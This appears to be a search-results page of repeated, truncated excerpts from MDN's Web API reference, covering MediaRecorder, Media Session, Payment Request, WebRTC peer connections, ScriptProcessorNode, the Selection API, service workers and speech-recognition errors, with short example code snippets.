}) example ... record.onclick = function() { mediarecorder.start(); console.log("recorder started"); } mediarecorder.onstart = function() { // do something in response to // recording being started } ... properties none. ...
...}) example ... record.onclick = function() { mediarecorder.start(); console.log("recorder started"); } mediarecorder.onstart = function() { // do something in response to // recording being started } ... properties none. ...
...}) example ... record.onclick = function() { mediarecorder.start(); console.log("recorder started"); } mediarecorder.onstart = function() { // do something in response to // recording being started } ... properties none. ...
...}) example ... record.onclick = function() { mediarecorder.start(); console.log("recorder started"); } mediarecorder.onstart = function() { // do something in response to // recording being started } ... properties none. ...
MediaRecorder.onwarning - Web APIs
}) example ... mediarecorder.onwarning = function(e) { console.log("a warning has been raised: " + e.message); } ... ...
...}) example ... mediarecorder.onwarning = function(e) { console.log("a warning has been raised: " + e.message); } ... ...
...}) example ... mediarecorder.onwarning = function(e) { console.log("a warning has been raised: " + e.message); } ... ...
...}) example ... mediarecorder.onwarning = function(e) { console.log("a warning has been raised: " + e.message); } ... ...
Media Session API - Web APIs
the aim of this is allowing users to know what's playing, and to control it, without opening the specific page that launched it. media session concepts and usage the mediametadata interface lets a web site provide rich metadata to the platform ui for media that is playing. ...
... show this metadata in media centers, notifications, device lockscreens, etc. the mediasession interface lets users control playback of media through user-agent defined interface elements. interaction with these elements even trigger handlers in the web page, playing the media. since multiple pages may be simultaneously using this api, the user agent is responsible for calling the correct page's
event handlers. the user agent provides default behaviors, when no page-defined behavior is available. accessing the media session api the primary interface for the media session api is the mediasession interface. rather than creating your own mediasession instance, you access the api using the navigator.mediasession property. for example, to set the current state of the media session to playing: na...
...position, and playback speed. mediasessionactiondetails provides information needed in order to perform the action which has been requested, including the type of action to perform and any other information needed, such as seek distances or times. examples the following example shows feature detection for the media session api. ...
...eekforward', function() { /* code excerpted. */ }); navigator.mediasession.setactionhandler('previoustrack', function() { /* code excerpted. */ }); navigator.mediasession.setactionhandler('nexttrack', function() { /* code excerpted. */ }); } some user agents disable autoplay for media elements on mobile devices and require a user gesture to start media. the following example adds a pointerup
event to an on-page play button, which is then used to kick off the media session code: playbutton.add
eventlistener('pointerup', function(
event) { var audio = document.queryselector('audio'); // user interacted with the page. let's play audio... audio.play() .then(_ => { /* set up media session controls, as shown above. */ }) .catch(error => { console.log(error) }); }); specifications ...
Media Capture and Streams API (Media Stream) - Web APIs
media capture and streams api, often called the media streams api or simply mediastream api, is an api related to webrtc which provides support for streaming audio and video data. it provides the interfaces and methods for working with the streams and their constituent tracks, the constraints associated with data formats, the success and error callbacks when using the data asynchronously, and the
events that are fired during the process. concepts and usage the api is based on the manipulation of a mediastream object representing a flux of audio- or video-related data. see an example in get the video. a mediastream consists of zero or more mediastreamtrack objects, representing various audio or video tracks. each mediastreamtrack may have one or more channels. the channel represents the small...
...audiosourcenode. the output of the mediastream object is linked to a consumer. it can be a media elements, like <audio> or <video>, the webrtc rtcpeerconnection api or a web audio api mediastreamaudiosourcenode. interfaces in these reference articles, you'll find the fundamental information you'll need to know about each of the interfaces that make up the media capture and streams api. ...
...connection api or a web audio api mediastreamaudiosourcenode. interfaces in these reference articles, you'll find the fundamental information you'll need to know about each of the interfaces that make up the media capture and streams api. blob
event canvascapturemediastreamtrack inputdeviceinfo mediadevicekind mediadeviceinfo mediadevices mediastream mediastreamconstraints mediastream
event mediastreamtrack mediastreamtrack
event mediatrackconstraints mediatracksettings mediatracksupportedconstraints overconstrainederror url early versions of the media capture and streams api specification included separate audiostreamtrack and videostreamtrack interfaces—each based upon mediastreamtrack—which represented streams of those types. these no longer exist, and you shou...
...iatracksettings mediatracksupportedconstraints overconstrainederror url early versions of the media capture and streams api specification included separate audiostreamtrack and videostreamtrack interfaces—each based upon mediastreamtrack—which represented streams of those types. these no longer exist, and you should update any existing code to instead use mediastreamtrack directly.
events addtrack ended muted overconstrained removetrack started unmuted guides and tutorials the articles below provide additional guidance and how-to information that will help you learn to use the api, and how to perform specific tasks that you may wish to handle. capabilities, constraints, and settingsthe twin concepts of constraints and capabilities let the browser and web ...
MessagePort.start() - Web APIs
the start() method of the messageport interface starts the sending of messages queued on the port. this method is only needed when using
eventtarget.add
eventlistener; it is implied when using messagechannel.onmessage. note: this feature is available in web workers. syntax port.start() returns void. parameters none. ...
...note: this feature is available in web workers. syntax port.start() returns void. parameters none. ...
...ure is available in web workers. syntax port.start() returns void. parameters none. ...
... living standard ...
Using the Payment Request API - Web APIs
trequest). in the following snippet, a merchant page performs this check, and if it returns true updates the checkout button to use paymentrequest instead of legacy web forms. const checkoutbutton = document.getelementbyid('checkout-button'); if (window.paymentrequest) { let request = new paymentrequest(buildsupportedpaymentmethodnames(), buildshoppingcartdetails()); checkoutbutton.add
eventlistener('click', function() { request.show().then(function(paymentresponse) { // handle successful payment }).catch(function(error) { // handle cancelled or failed payment. for example, redirect to // the legacy web form checkout: window.location.href = '/legacy-web-form-checkout'; }); // every click on the checkout button should use a new instance of /...
... are known demo for the full code. recommending a payment app when user has no apps if you select to pay with the bobpay demo payment provider on this merchant page, it tries to call paymentrequest.show(), while intercepting the notsupportederr exception. if this payment method is not supported, it redirects to the signup page for bobpay. the code looks something like this: checkoutbutton.add
eventlistener('click', function() { var request = new paymentrequest(buildsupportedpaymentmethoddata(), buildshoppingcartdetails()); request.show().then(function(paymentresponse) { // here we would process the payment. for this demo, simulate immediate success: paymentresponse.complete('success') .then(function() { // for demo purposes: intropanel.style.displ...
...) { // handle error. }); note: see our show additional user interface after successful payment demo for the full code. pre-authorizing transactions some use cases (e.g., paying for fuel at a service station) involve pre-authorization of payment. one way to do this is through a payment handler (see the payment handler api). at time of writing, that specification includes a canmakepayment
event that a payment handler could make use of to return authorization status. the merchant code would look like this: let paymentrequest = new paymentrequest( [{supportedmethods: 'https://example.com/preauth'}], ...); // send `canmakepayment`
event to the payment handler. paymentrequest.canmakepayment() .then(function(res) { if (res) { // the payment handler has pre-authorized a...
...ent() .then(function(res) { if (res) { // the payment handler has pre-authorized a transaction // with some static amount, e.g., usd $1.00. } else { // pre-authorization failed or payment handler not installed. } }) .catch(function(ex1) { // unexpected error occurred. }); the payment handler would include the following code: self.add
eventlistener('canmakepayment', function(evt) { // pre-authorize here. let preauthsuccess = ...; evt.respondwith(preauthsuccess); }); this payment handler would need to live in a service worker at https://example.com/preauth scope. note: see our pre-authorizing transactions demo for the full code. ...
Payment Request API - Web APIs
t api. note: the api is available inside cross-origin <iframe> elements only if they have had the allowpaymentrequest attribute set on them. interfaces paymentaddress an object that contains address information; used for billing and shipping addresses, for example. paymentrequest an object that provides the api for creating and managing the user agent's payment interface. paymentrequest
event an
event delivered to a payment handler when a paymentrequest is made. paymentrequestupdate
event enables the web page to update the details of the payment request in response to a user action. paymentmethodchange
event represents the user changing payment instrument (e.g., switching from a credit card to debit card). paymentresponse an object returned after the user selects a payment method...
... dictionaries addresserrors a dictionary containing strings providing descriptive explanations of any errors in any paymentaddress entries which have errors. ...
...ors a dictionary containing strings providing descriptive explanations of any errors in any paymentaddress entries which have errors. payererrors a dictionary containing strings providing descriptive explanations of any errors in related to paymentresponse's email, phone, and name attributes. ...
... basiccarderrors an object providing any error messages associated with the fields in the basiccardresponse object that are not valid. this is used as the value of the paymentmethod property on the paymentvalidationerrors object sent to the paymentrequest when an error occurs. ...
PushMessageData.arrayBuffer() - Web APIs
working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. ...
... working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. ...
... working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. ...
... working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. ...
PushMessageData.blob() - Web APIs
working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. ...
... working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. ...
... working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. ...
... working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. ...
PushMessageData.text() - Web APIs
working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. ...
... working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. ...
... working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. ...
... working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. ...
RTCDTMFSender - Web APIs
re is no mechanism provided by webrtc for receiving dtmf codes. ...
... position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/rtcdtmfsender" target="_top"><rect x="151" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="216" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace"...
...see tonebuffer for details on the format of the tone buffer. methods rtcdtmfsender.insertdtmf() given a string describing a set of dtmf codes and, optionally, ...
...e tone buffer. methods rtcdtmfsender.insertdtmf() given a string describing a set of dtmf codes and, optionally, the duration of and inter-tone gap between the tones, insertdtmf() starts sending the specified tones. calling insertdtmf() replaces any already-pending tones from the tonebuffer. you can abort sending queued tones by specifying an empty string ("") as the set of tones to play.
events listen to these
events using add
eventlistener() or by assigning an
event listener to the on
eventname property of this interface. tonechange the tonechange
event is sent to the rtcdtmfsender instance's
event handler to indicate that a tone has either started or stopped playing. also available using the ontonechange
event handler property. example see the article using dtmf with webrtc fo...
RTCDataChannel.close() - Web APIs
the rtcdatachannel.close() method closes the rtcdatachannel. either peer is permitted to call this method to initiate closure of the channel. closure of the data channel is not instantaneous. most of the process of closing the connection is handled asynchronously; you can detect when the channel has finished closing by watching for a close
event on the data channel. the sequence of
events which occurs in response to this method being called: rtcdatachannel.readystate is set to "closing". a background task is established to handle the remainder of the steps below, and close() returns to the caller. the transport layer deals with any buffered messages; the protocol layer decides whether to send them or discard them. the underlying data transport is closed. the rtcdatachannel.readystate ...
... established to handle the remainder of the steps below, and close() returns to the caller. the transport layer deals with any buffered messages; the protocol layer decides whether to send them or discard them. the underlying data transport is closed. the rtcdatachannel.readystate property is set to "closed". if the transport was closed with an error, the rtcdatachannel is sent a networkerror
event. ...
...handle the remainder of the steps below, and close() returns to the caller. the transport layer deals with any buffered messages; the protocol layer decides whether to send them or discard them. the underlying data transport is closed. the rtcdatachannel.readystate property is set to "closed". if the transport was closed with an error, the rtcdatachannel is sent a networkerror
event. ...
...kerror
event. a close
event is sent to the channel. in firefox, the rtcdatachannel interface was implemented under the name datachannel until firefox 24, so this method was called datachannel.close(). syntax rtcdatachannel.close(); parameters none. return value undefined. example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); dc.onmessage = function (
event) { console.log("received: " +
event.data); dc.close(); // we decided to close after the first received message }; dc.onopen = function () { console.log("datachannel open"); }; dc.onclose = function ( console.log("datachannel close"); }; // now negotiate the connection and so forth... specifications specification status comment webrtc 1.0: real-time commun...
RTCPeerConnection.addIceCandidate() - Web APIs
ote descriptions being considered. one or more of the values in the candidate string are invalid or could not be parsed. attempting to add the candidate fails for any reason. examples this code snippet shows how to signal ice candidates across an arbitrary signaling channel. ...
...ng considered. one or more of the values in the candidate string are invalid or could not be parsed. attempting to add the candidate fails for any reason. examples this code snippet shows how to signal ice candidates across an arbitrary signaling channel. ...
...e invalid or could not be parsed. attempting to add the candidate fails for any reason. examples this code snippet shows how to signal ice candidates across an arbitrary signaling channel. ...
...ame); }); } else { // handle other things you might be signaling, like sdp } } the last candidate to be signaled this way by the remote peer will be a special candidate denoting end-of-candidates. out of interest, end-of-candidates may be manually indicated as follows: pc.addicecandidate({candidate:''}); however, in most cases you won't need to look for this explicitly, since the
events driving the rtcpeerconnection will deal with it for you, sending the appropriate
events. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.addicecandidate()' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection.addTrack() - Web APIs
see starting negotiation in signaling and video calling for details. syntax rtpsender = rtcpeerconnection.addtrack(track, stream...); parameters track a mediastreamtrack object representing the media track to add to the peer connection. stream... optional one or more local mediastream objects to which the track should be added. ...
... the peer connection, without specifying a stream for each track: async opencall(pc) { const gumstream = await navigator.mediadevices.getusermedia( {video: true, audio: true}); for (const track of gumstream.gettracks()) { pc.addtrack(track); } } the result is a set of tracks being sent to the remote peer, with no stream associations. the handler for the track
event on the remote peer will be responsible for determining what stream to add each track to, even if that means simply adding them all to the same stream. the ontrack handler might look like this: let inboundstream = null; pc.ontrack = ev => { if (ev.streams && ev.streams[0]) { videoelem.srcobject = ev.streams[0]; } else { if (!inboundstream) { inboundstream = new mediastream(); ...
...simply adding them all to the same stream. the ontrack handler might look like this: let inboundstream = null; pc.ontrack = ev => { if (ev.streams && ev.streams[0]) { videoelem.srcobject = ev.streams[0]; } else { if (!inboundstream) { inboundstream = new mediastream(); videoelem.srcobject = inboundstream; } inboundstream.addtrack(ev.track); } } here, the track
event handler adds the track to the first stream specified by the
event, if a stream is specified. otherwise, the first time ontrack is called, a new stream is created and attached to the video element, and then the track is added to the new stream. from then on, new tracks are added to that stream. you could also just create a new stream for each track received: pc.ontrack = ev => { if (ev.streams...
... reused senders this method may return either a new rtcrtpsender or, under very specific circumstances, an existing compatible sender which has not yet been used to transmit data. co...
RTCPeerConnection.onicecandidate - Web APIs
the rtcpeerconnection property onicecandidate property is an
eventhandler which specifies a function to be called when the icecandidate
event occurs on an rtcpeerconnection instance. this happens whenever the local ice agent needs to deliver a message to the other peer through the signaling server. this lets the ice agent perform negotiation with the remote peer without the browser itself needing to know any specifics about the technology being used for signaling; simply implement this method to use whatever messaging technology you choose to send the ice candidate to the remote peer. ...
...liver a message to the other peer through the signaling server. this lets the ice agent perform negotiation with the remote peer without the browser itself needing to know any specifics about the technology being used for signaling; simply implement this method to use whatever messaging technology you choose to send the ice candidate to the remote peer. syntax rtcpeerconnection.onicecandidate =
eventhandler; value this should be set to a function which you provide that accepts as input an rtcpeerconnectionice
event object representing the icecandidate
event. the function should deliver the ice candidate, whose sdp can be found in the
event's candidate property, to the remote peer through the signaling server. if the
event's candidate property is null, ice gathering has finished. this messa...
...o the remote peer through the signaling server. if the
event's candidate property is null, ice gathering has finished. this message should not be sent to the remote peer. when this happens, the connection's icegatheringstate has also changed to complete. you don't need to watch for this explicitly; instead, if you need to sense the end of signaling, you should watch for a icegatheringstatechange
event indicating that the ice negotiation has transitioned to the complete state. example the example below, which is based on the code from the article signaling and video calling, sets up a handler for icecandidate
events to send the candidates to the remote peer. ...
...; instead, if you need to sense the end of signaling, you should watch for a icegatheringstatechange
event indicating that the ice negotiation has transitioned to the complete state. example the example below, which is based on the code from the article signaling and video calling, sets up a handler for icecandidate
events to send the candidates to the remote peer. pc.onicecandidate = function(
event) { if (
event.candidate) { // send the candidate to the remote peer } else { // all ice candidates have been sent } } notice that the end of negotiation is detected here when the
event's candidate property is null. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.oniceca...
RTCPeerConnection.onnegotiationneeded - Web APIs
the rtcpeerconnection interface's onnegotiationneeded property is an
eventlistener which specifies a function which is called to handle the negotiationneeded
event when it occurs on an rtcpeerconnection instance. this
event is fired when a change has occurred which requires session negotiation. this negotiation should be carried out as the offerer, because some session changes cannot be negotiated as the answerer. most commonly, the negotiationneeded
event is fired after a send track is added to the rtcpeerconnection. ...
...rred which requires session negotiation. this negotiation should be carried out as the offerer, because some session changes cannot be negotiated as the answerer. most commonly, the negotiationneeded
event is fired after a send track is added to the rtcpeerconnection. if the session is modified in a manner that requires negotiation while a negotiation is already in progress, no negotiationneeded
event will fire until negotiation completes, and only then if negotiation is still needed. ...
...iated as the answerer. most commonly, the negotiationneeded
event is fired after a send track is added to the rtcpeerconnection. if the session is modified in a manner that requires negotiation while a negotiation is already in progress, no negotiationneeded
event will fire until negotiation completes, and only then if negotiation is still needed. syntax rtcpeerconnection.onnegotiationneeded =
eventhandler; value this should be set to a function you provide which is passed a single parameter: an
event object containing the negotiationneeded
event. there's no additional information provided in the
event; anything you need, you can get by examining the properties of the rtcpeerconnection. example this example, derived from the example in signaling and video calling, establishes a handler ...
... should be set to a function you provide which is passed a single parameter: an
event object containing the negotiationneeded
event. there's no additional information provided in the
event; anything you need, you can get by examining the properties of the rtcpeerconnection. example this example, derived from the example in signaling and video calling, establishes a handler for negotiationneeded
events to handle creating an offer, configuring the local end of the connection, and sending the offer to the remote peer. pc.onnegotiationneeded = function() { pc.createoffer().then(function(offer) { return pc.setlocaldescription(offer); }) .then(function() { // send the offer to the remote peer through the signaling server }); }) .catch(reporterror); } first, it creates the ...
Range.extractContents() - Web APIs
html id attributes are also cloned, which can lead to an invalid document if a partially-selected node is extracted and appended to the document. partially selected nodes are cloned to include the parent tags necessary to make the document fragment valid. ...
...ar documentfragment = range.extractcontents(); document.body.appendchild(documentfragment); moving items between containers this example lets you move items between two containers. select one or more item, and then click "swap" to move them to the opposite container. ...
...ple lets you move items between two containers. select one or more item, and then click "swap" to move them to the opposite container. ...
...>swap selected item(s)</button> <p id="list2">abcdef</p> css body { pointer-
events: none; } p { border: 1px solid; font-size: 2em; padding: .3em; } button { font-size: 1.2em; padding: .5em; pointer-
events: auto; } javascript const list1 = document.getelementbyid('list1'); const list2 = document.getelementbyid('list2'); const button = document.getelementbyid('swap'); button.add
eventlistener('click', e => { selection = window.getselection(); for (let i = 0; i < selection.rangecount; i++) { const range = selection.getrangeat(i); if (range.commonancestorcontainer === list1 || range.commonancestorcontainer.parentnode === list1) { const documentfragment = range.extractcontents(); list2.appendchild(documentfragment); } else if (range.commonanc...
SVGGeometryElement - Web APIs
filled and stroked. this includes paths and the basic shapes. ...
...position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4...
...in svg 2 they were moved to this interface. properties this interface also inherits properties from its parent, svggraphicselement. svggeometryelement.pathlength read only this property reflects the pathlength attribute. methods this...
...its properties from its parent, svggraphicselement. svggeometryelement.pathlength read only this property reflects the pathlength attribute. methods this interface also inherits methods from its parent, svggraphicselement. svggeometryelement.ispointinfill() determines whether a given point is within the fill shape of an element. normal hit testing rules apply; the value of the pointer-
events property on the element determines whether a point is considered to be within the fill. svggeometryelement.ispointinstroke() determines whether a given point is within the stroke shape of an element. normal hit testing rules apply; the value of the pointer-
events property on the element determines whether a point is considered to be within the stroke. svggeometryelement.gettotallength() retu...
ScriptProcessorNode - Web APIs
r analyzing of audio using javascript. note: as of the august 29 2014 web audio api spec publication, this feature has been marked as deprecated, and was replaced by audioworklet (see audioworkletnode). the scriptprocessornode interface is an audionode audio-processing module that is linked to two buffers, one containing the input audio data, one containing the processed output audio data. an
event, implementing the audioprocessing
event interface, is sent to the object each time the input buffer contains new data, and the
event handler terminates when it has filled the output buffer with data. the size of the input and output buffer are defined at the creation time, when the audiocontext.createscriptprocessor() method is called (both are defined by audiocontext.createscriptprocessor()'s ...
...ed in the default count mode) channel interpretation "speakers" properties inherits properties from its parent, audionode. scriptprocessornode.buffersize read only returns an integer representing both the input and output buffer size. its value can be a power of 2 value in the range 256–16384. methods no specific methods; inherits methods from its parent, audionode.
events listen to these
events using add
eventlistener() or by assigning an
event listener to the on
eventname property of this interface: audioprocess fired when an input buffer of a scriptprocessornode is ready to be processed. also available via the onaudioprocess
event handler property. examples the following example shows basic usage of a scriptprocessornode to take a track loaded via audioc...
...ler property. examples the following example shows basic usage of a scriptprocessornode to take a track loaded via audiocontext.decodeaudiodata(), process it, adding a bit of white noise to each audio sample of the input track (buffer) and play it through the audiodestinationnode. for each channel and each sample frame, the scriptnode.onaudioprocess function takes the associated audioprocessing
event and uses it to loop through each channel of the input buffer, and each sample in each channel, and add a small amount of white noise, before setting that result to be the output sample in each case. note: for a full working example, see our script-processor-node github repo (also view the source code.) var myscript = document.queryselector('script'); var mypre = document.queryselector('pre');...
... request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a function to process audio
events scriptnode.onaudioprocess = function(audioprocessing
event) { // the input buffer is the song we loaded earlier var inputbuffer = audioprocessing
event.inputbuffer; // the output buffer contains the samples that will be modified and played var outputbuffer = audioprocessing
event.outputbuffer; // loop through the output channels (in this case there is only one) for (var channel = 0; c...
Selection API - Web APIs
text string using selection.tostring(), adding a range (as represented by a standard range object) to the selection (or removing one) with selection.addrange()/selection.removerange(), or changing the selection to be the entire contents of a dom node using selection.selectallchildren(). you can run code in response to the selection being changed, or a new selection being started, using the global
eventhandlers.onselectionchange and global
eventhandlers.onselectstart
event handlers. selection api interfaces selection represents the range of text selected by the user or the current position of the caret. extensions to other interfaces window.getselection(), document.getselection() returns a selection object representing the range of text selected by the user or the current position o...
...api interfaces selection represents the range of text selected by the user or the current position of the caret. extensions to other interfaces window.getselection(), document.getselection() returns a selection object representing the range of text selected by the user or the current position of the caret. document.getselection() is basically an alias of window.getselection(). global
eventhandlers.onselectstart represents the
event handler that is called when a selectstart
event is fired on the current object (i.e. when a new range of text is about to be selected by the user). global
eventhandlers.onselectionchange represents the
event handler that is called when a selectionchange
event is fired on the current object (i.e. when the selected text range changes). specification...
...d webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetselection experimentalchrome full support 1edge full support 12firefox full support 1notes full support 1notes notes the global
eventhandlers.onselectionchange and global
eventhandlers.onselectstart
event handlers are supported as of firefox 52.ie full support 9opera full support 9safari full support 1webview android full support 1chrome android ...
... 9safari full support 1webview android full support 1chrome android full support 18firefox android full support 4notes full support 4notes notes the global
eventhandlers.onselectionchange and global
eventhandlers.onselectstart
event handlers are supported as of firefox 52.opera android full support 10.1safari ios full support 1samsung internet android full support 1.0addrange experimentalchrome full support ...
ServiceWorker - Web APIs
erviceworker object. a serviceworker object is available in the serviceworkerregistration.active property, and the serviceworkercontainer.controller property — this is a service worker that has been activated and is controlling the page (the service worker has been successfully registered, and the controlled page has been reloaded.) the serviceworker interface is dispatched a set of lifecycle
events — install and activate — and functional
events including fetch. a serviceworker object has an associated serviceworker.state, related to its lifecycle. properties the serviceworker interface inherits properties from its parent, worker. serviceworker.scripturl read only returns the serviceworker serialized script url defined as part of serviceworkerregistration. the url must be on the ...
...rker. serviceworker.scripturl read only returns the serviceworker serialized script url defined as part of serviceworkerregistration. the url must be on the same origin as the document that registers the serviceworker. serviceworker.state read only returns the state of the service worker. it returns one of the following values: installing, installed, activating, activated, or redundant.
event handlers serviceworker.onstatechange read only an
eventlistener property called whenever an
event of type statechange is fired; it is basically fired anytime the serviceworker.state changes. methods the serviceworker interface inherits methods from its parent, worker, with the exception of worker.terminate — this should not be accessible from service workers. examples this code snippe...
...the code listens for any change in the serviceworker.state and returns its value. ...
...the service-worker.js file // might be unavailable or contain a syntax error. }); } else { // the current browser doesn't support service workers. } specifications specification...
SourceBufferList - Web APIs
operator (i.e. []) or functions such as foreach() for example. ...
... position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/sourcebufferlist" target="_top"><rect x="151" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="231" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospa...
... sourcebuffe...
...oke="#d4dde4" stroke-width="2px" /><text x="231" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sourcebufferlist</text></a></svg></div> a:hover text { fill: #0095dd; pointer-
events: all;} properties sourcebufferlist.length read only returns the number of sourcebuffer objects in the list.
event handlers sourcebufferlist.onaddsourcebuffer the
event handler for the addsourcebuffer
event. sourcebufferlist.onremovesourcebuffer the
event handler for the removesourcebuffer
event. methods inherits methods from its parent interface,
eventtarget. sourcebufferlist: indexed property getter this getter allows the sourcebuffer objects in the list to be accessed with an array operator (i...
SpeechRecognitionError.error - Web APIs
the possible error types are: no-speech no speech was detected. aborted speech input was aborted in some manner, perhaps by some user-agent-specific behavior like a button the user can press to cancel speech input. audio-capture audio capture failed. ...
...nce. in this case it would allow another more suitable speech recognition service to be used instead. ...
...ecognition service to be used instead. ...
...e was an error in the speech recognition grammar or semantic tags, or the chosen grammar format or semantic tag format was unsupported. ...
SpeechRecognitionError.message - Web APIs
the message read-only property of the speechrecognitionerror interface returns a message describing the error in more detail. this speechrecognitionerror interface was renamed to speechrecognitionerror
event in the web speech api specification. syntax var myerrormsg =
event.message; value a domstring containing more details about the error that was raised. note that the spec does not define the exact wording of these messages — this is up to the implementors to decide upon. ...
...med to speechrecognitionerror
event in the web speech api specification. syntax var myerrormsg =
event.message; value a domstring containing more details about the error that was raised. note that the spec does not define the exact wording of these messages — this is up to the implementors to decide upon. ...
...ication. syntax var myerrormsg =
event.message; value a domstring containing more details about the error that was raised. note that the spec does not define the exact wording of these messages — this is up to the implementors to decide upon. ...
...e a domstring containing more details about the error that was raised. ...
SpeechRecognitionError - Web APIs
the speechrecognitionerror interface of the web speech api represents error messages from the recognition service. this speechrecognitionerror interface was renamed to speechrecognitionerror
event in the web speech api specification. properties speechrecognitionerror also inherits properties from its parent interface,
event. speechrecognitionerror.error read only returns the type of error raised. speechrecognitionerror.message read only returns a message describing the error in more detail. ...
...nt in the web speech api specification. properties speechrecognitionerror also inherits properties from its parent interface,
event. speechrecognitionerror.error read only returns the type of error raised. speechrecognitionerror.message read only returns a message describing the error in more detail. ...
...ognitionerror also inherits properties from its parent interface,
event. speechrecognitionerror.error read only returns the type of error raised. speechrecognitionerror.message read only returns a message describing the error in more detail. ...
...terface,
event. speechrecognitionerror.error read only returns the type of error raised. speechrecognitionerror.message read only returns a message describing the error in more detail. ...
TextTrackList.onaddtrack - Web APIs
the texttracklist property onaddtrack is an
event handler which is called when the addtrack
event occurs, indicating that a new text track has been added to the media element whose text tracks the texttracklist represents. the
event is passed into the
event handler in the form of a track
event object, whose track property identifies the newly-added track. note: you can also add a handler for the addtrack
event using add
eventlistener(). syntax texttracklist.onaddtrack =
eventhandler; value set onaddtrack to a function that accepts as input a track
event object which indicates in its track property which video track has been added to the media. ...
...track
event object, whose track property identifies the newly-added track. note: you can also add a handler for the addtrack
event using add
eventlistener(). syntax texttracklist.onaddtrack =
eventhandler; value set onaddtrack to a function that accepts as input a track
event object which indicates in its track property which video track has been added to the media. usage notes the addtrack
event is called whenever a new track is added to the media element whose video tracks are represented by the texttracklist object. this happens when tracks are added to the element when the media is first attached to the element; one addtrack
event will occur for each video track in the media resource. ...
...media. usage notes the addtrack
event is called whenever a new track is added to the media element whose video tracks are represented by the texttracklist object. this happens when tracks are added to the element when the media is first attached to the element; one addtrack
event will occur for each video track in the media resource. example this snippet establishes a handler for the addtrack
event that calls a function, addtotracklist(), passing in the videotrack object representing the newly-added track. in this scenario, that function's role is to add the new track to a list of video tracks available to choose from. ...
... each video track in the media resource. example this snippet establishes a handler for the addtrack
event that calls a function, addtotracklist(), passing in the videotrack object representing the newly-added track. in this scenario, that function's role is to add the new track to a list of video tracks available to choose from. document.queryselector("video").texttracks.onaddtrack = function(
event) { addtotracklist(
event.track); }; specifications specification status comment html living standardthe definition of 'texttracklist: onaddtrack' in that specification. living standard ...
Touch() - Web APIs
the touch() constructor creates a new touch object. syntax touch = new touch(touchinit); arguments touchinit is a touchinit dictionary, having the following fields: "identifier", required, of type long, that is the identification number for the touch point. "target", required, of type
eventtarget, the item at which the touch point started when it was first placed on the surface. "clientx", optional and defaulting to 0, of type double, that is the horizontal position of the touch on the client window of user's screen, excluding any scroll offset. "clienty", optional and defaulting to 0, of type double, that is the vertical position of the touch on the client window of the user's screen, excluding any scroll offset. "screenx", optional and defaulting to 0, of type doub...
... clockwise about its center; 0 if no value is known. the value must be greater than or equal to 0 and less than 90. if the ellipse described by radiusx and radiusy is circular, then rotationangle has no effect. the user agent may use 0 as the value in this case, or it may use any other value in the allowed range. (for example, the user agent may use the rotationangle value from the previous touch
event, to avoid sudden changes.). ​"force", optional and defaulting to 0, of type float, that is the relative value of pressure applied, in the range 0 to 1, where 0 is no pressure, and 1 is the highest level of pressure the touch device is capable of sensing; 0 if no value is known. in environments where force is known, the absolute pressure represented by the force attribute, and the sensitivity ...
... draft initial definition. ...
